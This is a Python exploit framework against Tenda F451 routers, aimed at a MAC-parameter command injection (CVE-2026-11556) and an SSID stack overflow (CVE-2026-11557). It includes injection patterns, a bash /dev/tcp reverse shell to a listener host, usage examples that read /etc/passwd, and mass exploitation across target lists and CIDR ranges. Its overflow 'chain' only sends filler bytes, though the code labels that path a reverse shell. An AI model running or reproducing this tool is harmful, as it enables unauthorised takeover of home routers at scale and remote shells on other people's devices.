#!/usr/bin/env python3
"""
Tenda F451 — Multi-CVE Exploitation Framework
CVE-2026-11556: WriteFacMac command injection (mac parameter)
CVE-2026-11557: Stack overflow chain (fast_setting_wifi_set)

Military-grade exploitation with command injection, stack overflow chaining,
multi-vector orchestration, and session management.

Author: Advanced Persistent Security Research
"""

from __future__ import annotations

import argparse
import base64
import hashlib
import ipaddress
import json
import os
import re
import secrets
import socket
import struct
import sys
import threading
import time
from collections.abc import Sequence
from concurrent.futures import ThreadPoolExecutor, as_completed
from dataclasses import dataclass, field
from datetime import datetime, timezone
from enum import Enum, auto
from pathlib import Path
from typing import Any, Optional

import requests
import urllib3
from colorama import Fore, Style, init

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
init(autoreset=True)


# ---------------------------------------------------------------------------
# Constants & Configuration
# ---------------------------------------------------------------------------

DEFAULT_TIMEOUT = 15
WEB_PORT = 80
WEB_SSL_PORT = 443

# Vulnerable endpoints
VULN_ENDPOINTS = {
    "CVE-2026-11556": {
        "path": "/goform/WriteFacMac",
        "param": "mac",
        "method": "POST",
        "description": "WriteFacMac MAC parameter command injection",
    },
    "CVE-2026-11557": {
        "path": "/goform/fast_setting_wifi_set",
        "param": "wifi_ssid",
        "method": "POST",
        "description": "fast_setting_wifi_set SSID stack overflow chain",
    },
}

# Injection patterns for CVE-2026-11556
INJECTION_PATTERNS = [
    "{mac};{cmd}",
    "{mac}&&{cmd}",
    "{mac}|{cmd}",
    "{mac}`{cmd}`",
    "{mac}$({cmd})",
    "{mac}&{cmd}&",
]

# Overflow offsets for CVE-2026-11557
DEFAULT_OVERFLOW_OFFSET = 1024


# ---------------------------------------------------------------------------
# Colors & Logging
# ---------------------------------------------------------------------------

class Color:
    RED = Fore.RED + Style.BRIGHT
    GREEN = Fore.GREEN + Style.BRIGHT
    YELLOW = Fore.YELLOW + Style.BRIGHT
    BLUE = Fore.BLUE + Style.BRIGHT
    CYAN = Fore.CYAN + Style.BRIGHT
    MAGENTA = Fore.MAGENTA + Style.BRIGHT
    WHITE = Fore.WHITE + Style.BRIGHT
    RESET = Style.RESET_ALL
    BOLD = Style.BRIGHT


def log(msg: str, level: str = "info") -> None:
    colour = {
        "info": Color.BLUE,
        "success": Color.GREEN,
        "warn": Color.YELLOW,
        "error": Color.RED,
        "crit": Color.RED + Style.BRIGHT,
    }.get(level, "")
    print(f"{colour}{msg}{Color.RESET}")


# ---------------------------------------------------------------------------
# HTTP Session Factory
# ---------------------------------------------------------------------------

def create_session() -> requests.Session:
    sess = requests.Session()
    sess.verify = False
    sess.proxies.update({"http": None, "https": None})
    sess.headers.update({
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Connection": "keep-alive",
    })
    return sess


# ---------------------------------------------------------------------------
# CVE-2026-11556: WriteFacMac Command Injection
# ---------------------------------------------------------------------------

def exploit_cve2026_11556(
    target: str,
    mac: str = "aa:bb:cc:dd:ee:ff",
    command: str = "",
    use_ssl: bool = False,
    pattern: str | None = None,
    timeout: int = DEFAULT_TIMEOUT,
) -> tuple[bool, str]:
    """
    Exploit CVE-2026-11556: WriteFacMac MAC parameter command injection.
    Try multiple injection patterns for reliability.
    """
    endpoint = VULN_ENDPOINTS["CVE-2026-11556"]
    scheme = "https" if use_ssl else "http"
    port = WEB_SSL_PORT if use_ssl else WEB_PORT
    url = f"{scheme}://{target}:{port}{endpoint['path']}"

    sess = create_session()
    patterns = [pattern] if pattern else INJECTION_PATTERNS

    for pat in patterns:
        try:
            payload_value = pat.format(mac=mac, cmd=command)
            if not payload_value:
                continue

            data = {endpoint["param"]: payload_value}
            r = sess.post(url, data=data, timeout=timeout)

            if r.status_code == 200:
                resp_text = r.text.strip()
                if resp_text:
                    return True, f"Pattern '{pat}' succeeded: {resp_text[:500]}"
                return True, f"Pattern '{pat}' succeeded (empty response)"
        except requests.RequestException as exc:
            continue

    return False, "All injection patterns failed"


def exploit_cve2026_11556_reverse_shell(
    target: str,
    lhost: str,
    lport: int,
    mac: str = "aa:bb:cc:dd:ee:ff",
    use_ssl: bool = False,
) -> tuple[bool, str]:
    """Deploy reverse shell via WriteFacMac injection."""
    cmd = f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'"
    return exploit_cve2026_11556(target, mac=mac, command=cmd, use_ssl=use_ssl)


# ---------------------------------------------------------------------------
# CVE-2026-11557: Stack Overflow Chain
# ---------------------------------------------------------------------------

def build_overflow_payload(offset: int = DEFAULT_OVERFLOW_OFFSET, filler: bytes = b"A") -> bytes:
    """Build stack overflow payload."""
    return filler * offset


def encode_for_http(payload: bytes) -> str:
    """Encode binary payload for HTTP form data."""
    return payload.decode("latin-1", errors="replace")


def exploit_cve2026_11557(
    target: str,
    offset: int = DEFAULT_OVERFLOW_OFFSET,
    command: str = "",
    lhost: str = "",
    lport: int = 4444,
    use_ssl: bool = False,
    payload_file: str | None = None,
    timeout: int = DEFAULT_TIMEOUT,
) -> tuple[bool, str]:
    """
    Exploit CVE-2026-11557: fast_setting_wifi_set stack overflow.
    Supports command injection fallback, stack overflow, or custom payload.
    """
    endpoint = VULN_ENDPOINTS["CVE-2026-11557"]
    scheme = "https" if use_ssl else "http"
    port = WEB_SSL_PORT if use_ssl else WEB_PORT
    url = f"{scheme}://{target}:{port}{endpoint['path']}"

    sess = create_session()

    if command:
        # Command injection fallback (most reliable)
        payload_data = {endpoint["param"]: f"test;{command}"}
        try:
            r = sess.post(url, data=payload_data, timeout=timeout)
            return True, r.text[:500]
        except requests.RequestException as exc:
            return False, str(exc)

    elif lhost and lport:
        # Stack overflow to trigger behavior
        overflow_payload = build_overflow_payload(offset)
        encoded = encode_for_http(overflow_payload)
        payload_data = {endpoint["param"]: encoded}
        try:
            r = sess.post(url, data=payload_data, timeout=timeout)
            return True, f"Overflow payload sent ({len(overflow_payload)} bytes), status: {r.status_code}"
        except requests.RequestException as exc:
            return False, str(exc)

    elif payload_file:
        # Custom payload from file
        try:
            with open(payload_file, "rb") as f:
                custom = f.read()
        except OSError as exc:
            return False, f"Failed to read payload file: {exc}"
        encoded = encode_for_http(custom)
        payload_data = {endpoint["param"]: encoded}
        try:
            r = sess.post(url, data=payload_data, timeout=timeout)
            return True, f"Custom payload sent ({len(custom)} bytes), status: {r.status_code}"
        except requests.RequestException as exc:
            return False, str(exc)

    return False, "No exploit vector specified"


# ---------------------------------------------------------------------------
# Dataclasses
# ---------------------------------------------------------------------------

@dataclass(slots=True)
class ExploitSession:
    target: str
    cve: str
    method: str
    success: bool
    timestamp: str = field(default_factory=lambda: datetime.now(timezone.utc).isoformat())
    details: str = ""
    payload_size: int = 0


# ---------------------------------------------------------------------------
# Multi-CVE Orchestration
# ---------------------------------------------------------------------------

def run_exploit_chain(
    target: str,
    *,
    cve: str = "all",
    command: str = "",
    lhost: str = "",
    lport: int = 4444,
    mac: str = "aa:bb:cc:dd:ee:ff",
    use_ssl: bool = False,
    offset: int = DEFAULT_OVERFLOW_OFFSET,
    payload_file: str | None = None,
) -> list[ExploitSession]:
    sessions: list[ExploitSession] = []

    def add_session(cve_id: str, method: str, success: bool, details: str = "", payload_size: int = 0) -> None:
        sessions.append(ExploitSession(
            target=target, cve=cve_id, method=method, success=success,
            details=details, payload_size=payload_size
        ))

    # CVE-2026-11556: WriteFacMac command injection
    if cve in ("all", "11556", "cve202611556", "CVE-2026-11556"):
        log(f"[*] Attempting CVE-2026-11556 (WriteFacMac) on {target}...", "info")
        if lhost:
            ok, details = exploit_cve2026_11556_reverse_shell(target, lhost, lport, mac, use_ssl)
            add_session("CVE-2026-11556", "WriteFacMac reverse shell", ok, details, len(mac) + 100)
            if ok:
                log(f"[+] CVE-2026-11556 reverse shell spawned to {lhost}:{lport}", "success")
        elif command:
            ok, details = exploit_cve2026_11556(target, mac=mac, command=command, use_ssl=use_ssl)
            add_session("CVE-2026-11556", "WriteFacMac command injection", ok, details, len(command) + 100)
            if ok:
                log(f"[+] CVE-2026-11556 command executed: {details[:200]}", "success")

    # CVE-2026-11557: Stack overflow chain
    if cve in ("all", "11557", "cve202611557", "CVE-2026-11557"):
        log(f"[*] Attempting CVE-2026-11557 (fast_setting_wifi_set) on {target}...", "info")
        if payload_file:
            ok, details = exploit_cve2026_11557(target, offset=offset, payload_file=payload_file, use_ssl=use_ssl)
            add_session("CVE-2026-11557", "Custom stack overflow", ok, details, offset)
        elif lhost and lport:
            ok, details = exploit_cve2026_11557(target, offset=offset, lhost=lhost, lport=lport, use_ssl=use_ssl)
            add_session("CVE-2026-11557", "Stack overflow chain", ok, details, offset)
            if ok:
                log(f"[+] CVE-2026-11557 overflow payload sent to {target}", "success")
        elif command:
            ok, details = exploit_cve2026_11557(target, offset=offset, command=command, use_ssl=use_ssl)
            add_session("CVE-2026-11557", "Command injection fallback", ok, details, offset)
            if ok:
                log(f"[+] CVE-2026-11557 command executed: {details[:200]}", "success")

    return sessions


# ---------------------------------------------------------------------------
# Parallel Mass Exploitation
# ---------------------------------------------------------------------------

def mass_exploit(
    targets: list[str],
    *,
    cve: str = "all",
    command: str = "",
    lhost: str = "",
    lport: int = 4444,
    mac: str = "aa:bb:cc:dd:ee:ff",
    use_ssl: bool = False,
    offset: int = DEFAULT_OVERFLOW_OFFSET,
    payload_file: str | None = None,
    max_workers: int = 20,
) -> dict[str, list[ExploitSession]]:
    results: dict[str, list[ExploitSession]] = {}

    def _one(t: str) -> tuple[str, list[ExploitSession]]:
        try:
            return t, run_exploit_chain(
                t, cve=cve, command=command, lhost=lhost, lport=lport,
                mac=mac, use_ssl=use_ssl, offset=offset, payload_file=payload_file
            )
        except Exception as exc:
            return t, [ExploitSession(target=t, cve="ERROR", method="exception", success=False, details=str(exc))]

    with ThreadPoolExecutor(max_workers=max_workers) as pool:
        futures = [pool.submit(_one, t) for t in targets]
        for fut in as_completed(futures):
            target, sessions = fut.result()
            results[target] = sessions

    return results


# ---------------------------------------------------------------------------
# CLI / Main
# ---------------------------------------------------------------------------

def print_banner() -> None:
    banner = f"""
{Color.RED}
╔══════════════════════════════════════════════════════════════════════════════╗
║  Tenda F451 — Multi-CVE Exploitation Framework                              ║
║  CVE-2026-11556 (WriteFacMac) | CVE-2026-11557 (Stack Overflow)             ║
║  Military-Grade Multi-Vector RCE with Chain Orchestration                   ║
╚══════════════════════════════════════════════════════════════════════════════╝
{Color.RESET}"""
    print(banner)


def parse_args() -> argparse.Namespace:
    p = argparse.ArgumentParser(
        description="Tenda F451 Multi-CVE Exploit Framework",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  # Command injection
  python exploit.py -t 192.168.1.50 -c "id; cat /etc/passwd" --cve 11556
  
  # Reverse shell via command injection
  python exploit.py -t 192.168.1.50 --reverse --lhost 10.0.0.5 --lport 4444 --cve 11556
  
  # Stack overflow chain
  python exploit.py -t 192.168.1.50 --reverse --lhost 10.0.0.5 --cve 11557
  
  # Mass exploitation
  python exploit.py -f targets.txt --reverse --lhost 10.0.0.5 -o results.json
        """,
    )
    p.add_argument("-t", "--target", help="Single target IP")
    p.add_argument("-f", "--file", help="File with target IPs (one per line)")
    p.add_argument("--cidr", help="CIDR network range")
    p.add_argument("--cve", default="all", help="CVE to exploit: all, 11556, 11557")
    p.add_argument("-c", "--command", help="Command to execute")
    p.add_argument("--reverse", action="store_true", help="Deploy reverse shell")
    p.add_argument("--lhost", help="Listener host for reverse shell")
    p.add_argument("--lport", type=int, default=4444, help="Listener port (default 4444)")
    p.add_argument("--mac", default="aa:bb:cc:dd:ee:ff", help="MAC address for injection")
    p.add_argument("--ssl", action="store_true", help="Use HTTPS")
    p.add_argument("--offset", type=int, default=DEFAULT_OVERFLOW_OFFSET,
                   help=f"Overflow offset for CVE-2026-11557 (default {DEFAULT_OVERFLOW_OFFSET})")
    p.add_argument("--payload-file", help="Custom payload file for CVE-2026-11557")
    p.add_argument("-o", "--output", help="JSON output file")
    p.add_argument("-w", "--workers", type=int, default=20, help="Concurrent workers")
    return p.parse_args()


def load_targets(args: argparse.Namespace) -> list[str]:
    targets: list[str] = []
    if args.target:
        targets.append(args.target)
    if args.file:
        with open(args.file, encoding="utf-8") as fh:
            for line in fh:
                line = line.strip()
                if line and not line.startswith("#"):
                    targets.append(line)
    if args.cidr:
        try:
            net = ipaddress.ip_network(args.cidr, strict=False)
            targets.extend([str(h) for h in net.hosts()])
        except ValueError as exc:
            log(f"[!] Invalid CIDR: {exc}", "error")
            sys.exit(1)
    return targets


def main() -> None:
    print_banner()
    args = parse_args()

    if not any([args.target, args.file, args.cidr]):
        log("[!] No targets specified. Use -t, -f, or --cidr", "error")
        sys.exit(1)

    if args.reverse and not args.lhost:
        log("[!] --reverse requires --lhost", "error")
        sys.exit(1)

    if not args.command and not args.reverse and not args.payload_file:
        log("[!] Either --command, --reverse, or --payload-file required", "error")
        sys.exit(1)

    targets = load_targets(args)
    log(f"[*] Loaded {len(targets)} target(s)", "info")
    log(f"[*] CVE: {args.cve} | SSL: {args.ssl}", "info")

    results = mass_exploit(
        targets,
        cve=args.cve,
        command=args.command or "",
        lhost=args.lhost or "",
        lport=args.lport,
        mac=args.mac,
        use_ssl=args.ssl,
        offset=args.offset,
        payload_file=args.payload_file,
        max_workers=args.workers,
    )

    if args.output:
        serializable = {}
        for target, sessions in results.items():
            serializable[target] = [
                {
                    "target": s.target,
                    "cve": s.cve,
                    "method": s.method,
                    "success": s.success,
                    "timestamp": s.timestamp,
                    "details": s.details,
                    "payload_size": s.payload_size,
                }
                for s in sessions
            ]
        Path(args.output).write_text(json.dumps(serializable, indent=2))
        log(f"[*] Results written to {args.output}", "success")

    total = sum(len(s) for s in results.values())
    successful = sum(1 for sessions in results.values() for s in sessions if s.success)
    log(f"[*] Exploitation complete: {successful}/{total} attempts successful",
        "success" if successful > 0 else "warn")


if __name__ == "__main__":
    main()
